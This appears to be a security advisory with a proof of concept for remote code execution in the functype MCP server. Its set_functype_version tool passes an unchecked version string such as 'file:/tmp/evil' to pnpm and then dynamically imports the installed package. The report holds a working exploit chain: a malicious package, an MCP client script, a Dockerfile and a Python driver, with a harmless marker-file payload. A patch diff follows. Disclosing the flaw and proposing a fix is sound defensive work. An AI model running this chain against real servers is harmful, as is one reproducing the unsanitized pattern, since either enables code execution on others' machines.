functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import

 1// packages/mcp-server/src/index.ts:119-121
 2parameters: z.object({
 3  version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
 4}),

 1// packages/mcp-server/src/index.ts:122-125
 2execute: async (args) => {
 3  const spec = `functype@${args.version}`
 4  try {
 5    execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

 1// packages/mcp-server/src/lib/docs/data.ts:23-30
 2if (force) {
 3  const resolvedPath = require.resolve("functype/cli")
 4  cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
 5}

 1mkdir -p /tmp/evil
 2cat > /tmp/evil/package.json <<'EOF'
 3{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
 4EOF
 5cat > /tmp/evil/cli.js <<'EOF'
 6import { writeFileSync } from "node:fs";
 7writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
 8export const TYPES = {};
 9export const INTERFACES = {};
10export const CATEGORIES = {};
11export const FULL_INTERFACES = {};
12export const VERSION = "1.0.0";
13EOF

 1TMP="$(mktemp -d)"
 2git clone https://github.com/jordanburke/functype.git "$TMP/functype"
 3cd "$TMP/functype"
 4git checkout v1.4.3
 5corepack enable
 6pnpm install --frozen-lockfile
 7pnpm -F functype build
 8pnpm -F functype-mcp-server build

 1cd "$TMP"
 2npm init -y
 3npm pkg set type=module
 4npm install @modelcontextprotocol/sdk
 5 
 6cat > exploit.mjs <<'EOF'
 7import { Client } from "@modelcontextprotocol/sdk/client/index.js";
 8import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
 9 
10const client = new Client({ name: "poc", version: "1.0.0" });
11const transport = new StdioClientTransport({
12  command: "node",
13  args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
14  env: { ...process.env, TRANSPORT_TYPE: "stdio" },
15});
16 
17await client.connect(transport);
18const result = await client.callTool({
19  name: "set_functype_version",
20  arguments: { version: "file:/tmp/evil" },
21});
22console.log(result);
23await client.close();
24EOF
25 
26REPO="$TMP/functype" node exploit.mjs

 1cat /pwned.txt
 2# Expected output: RCE: mcp import-time code execution via set_functype_version

 1[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
 2[poc] File contents: RCE: mcp import-time code execution via set_functype_version
 3[evil-payload] Arbitrary code executed via functype/cli dynamic import

 1+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
 2+
 3+const isSafeFunctypeVersion = (version: string): boolean => {
 4+  const trimmed = version.trim()
 5+  return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
 6+}
 7 
 8 execute: async (args) => {
 9-  const spec = `functype@${args.version}`
10+  if (!isSafeFunctypeVersion(args.version)) {
11+    return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
12+  }
13+  const spec = `functype@${args.version}`
14   try {
15-    execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
16+    execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

 1# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE
 2#
 3# Build context: reports/npmAI_684_jordanburke__functype/
 4#   COPY repo/       -> /workspace/functype/   (victim monorepo)
 5#   COPY vuln-001/   -> supporting PoC files
 6#
 7# Build:  docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
 8# Run:    docker run --rm vuln001-functype-rce
 9#
10# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.
11 
12FROM node:24-slim
13 
14# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).
15RUN npm install -g pnpm@11.7.0 --quiet
16 
17# ── Victim workspace ──────────────────────────────────────────────────────────
18WORKDIR /workspace/functype
19COPY repo/ ./
20 
21# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
22# caused by running on a different pnpm minor than the one that generated the
23# lockfile; the installed versions are still constrained by the lockfile
24# specifiers for the packages we care about.
25RUN pnpm install --no-frozen-lockfile
26 
27# Build functype first (mcp-server externals functype at build time).
28RUN pnpm -F functype build
29 
30# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
31RUN pnpm -F functype-mcp-server build
32 
33# ── Attacker-controlled evil package ─────────────────────────────────────────
34# /evil/cli.js writes /pwned.txt when dynamically imported.
35COPY vuln-001/evil/ /evil/
36 
37# ── MCP exploit client ────────────────────────────────────────────────────────
38WORKDIR /client
39RUN npm init -y --quiet && \
40    npm pkg set type=module && \
41    npm install @modelcontextprotocol/sdk@1.29.0 --quiet
42COPY vuln-001/client/exploit.mjs ./exploit.mjs
43 
44# Default entrypoint: run the exploit and exit 0 on success.
45CMD ["node", "/client/exploit.mjs"]

 1#!/usr/bin/env python3
 2"""
 3PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
 4via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).
 5 
 6Attack chain:
 7  1. Attacker calls MCP tool set_functype_version with version="file:/evil"
 8  2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
 9  3. Evil package is installed as the functype alias in mcp-server's node_modules
10  4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
11  5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)
12 
13Usage:
14  python3 poc.py [--build-only]
15 
16Requirements:
17  - Docker daemon running
18  - Build context at parent directory of this file's directory
19"""
20 
21import subprocess
22import sys
23import json
24import os
25import argparse
26 
27VULN_DIR = os.path.dirname(os.path.abspath(__file__))
28REPORT_DIR = os.path.dirname(VULN_DIR)
29IMAGE_NAME = "vuln001-functype-rce"
30DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
31RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")
32 
33BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]
34RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]
35 
36 
37def run(cmd, timeout=None, **kwargs):
38    """Run a command and return CompletedProcess with combined output."""
39    return subprocess.run(
40        cmd,
41        stdout=subprocess.PIPE,
42        stderr=subprocess.PIPE,
43        text=True,
44        timeout=timeout,
45        **kwargs,
46    )
47 
48 
49def write_result(passed, verdict, reason, evidence):
50    result = {
51        "passed": passed,
52        "verdict": verdict,
53        "reason": reason,
54        "build_command": " ".join(BUILD_CMD),
55        "run_command": " ".join(RUN_CMD),
56        "poc_command": f"python3 {os.path.basename(__file__)}",
57        "evidence": evidence,
58        "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
59    }
60    with open(RESULT_FILE, "w", encoding="utf-8") as f:
61        json.dump(result, f, indent=2, ensure_ascii=False)
62    print(f"[poc] Result written to {RESULT_FILE}")
63    print(f"[poc] verdict={verdict}  passed={passed}")
64 
65 
66def main():
67    parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
68    parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")
69    args = parser.parse_args()
70 
71    # ── Build ─────────────────────────────────────────────────────────────────
72    print("[poc] Building Docker image (this may take a few minutes)...")
73    print(f"[poc] Build command: {' '.join(BUILD_CMD)}")
74 
75    try:
76        build = run(BUILD_CMD, timeout=900)
77    except subprocess.TimeoutExpired:
78        msg = "Docker build timed out after 900 seconds"
79        print(f"[poc] ERROR: {msg}")
80        write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
81        sys.exit(2)
82 
83    if build.returncode != 0:
84        tail = (build.stdout + "\n" + build.stderr)[-3000:]
85        print("[poc] Build FAILED:")
86        print(tail)
87        write_result(
88            False,
89            "FAIL",
90            "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
91            f"BUILD EXIT {build.returncode}\n{tail}",
92        )
93        sys.exit(1)
94 
95    print("[poc] Build succeeded.")
96 
97    if args.build_only:
98        print("[poc] --build-only flag set; skipping run.")
99        sys.exit(0)
100 
101    # ── Run ───────────────────────────────────────────────────────────────────
102    print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")
103 
104    try:
105        run_result = run(RUN_CMD, timeout=180)
106    except subprocess.TimeoutExpired:
107        msg = "Container run timed out after 180 seconds"
108        print(f"[poc] ERROR: {msg}")
109        write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
110        sys.exit(2)
111 
112    stdout = run_result.stdout or ""
113    stderr = run_result.stderr or ""
114    combined = stdout + "\n" + stderr
115 
116    print("=" * 60)
117    print("STDOUT:")
118    print(stdout)
119    print("STDERR:")
120    print(stderr)
121    print(f"EXIT CODE: {run_result.returncode}")
122    print("=" * 60)
123 
124    # Success criteria: exit 0 AND exploit succeeded message present
125    exploit_succeeded = "EXPLOIT SUCCEEDED" in combined
126    passed = run_result.returncode == 0 and exploit_succeeded
127 
128    if passed:
129        # Extract key evidence lines
130        evidence_lines = [
131            line for line in combined.splitlines()
132            if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
133        ]
134        evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]
135 
136        write_result(
137            True,
138            "PASS",
139            (
140                "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "
141                'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
142                "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
143            ),
144            evidence,
145        )
146        print("[poc] === PASS: exploit reproduced ===")
147        sys.exit(0)
148 
149    else:
150        # Distinguish failure modes
151        if not exploit_succeeded and run_result.returncode == 0:
152            verdict = "INCOMPLETE"
153            reason = (
154                "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
155                "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
156                "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
157            )
158        else:
159            verdict = "FAIL"
160            reason = (
161                f"컨테이너 종료 코드 {run_result.returncode}. "
162                "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
163            )
164 
165        write_result(False, verdict, reason, combined[-2000:])
166        print(f"[poc] === {verdict}: exploit did not reproduce ===")
167        sys.exit(1)
168 
169 
170if __name__ == "__main__":
171    main()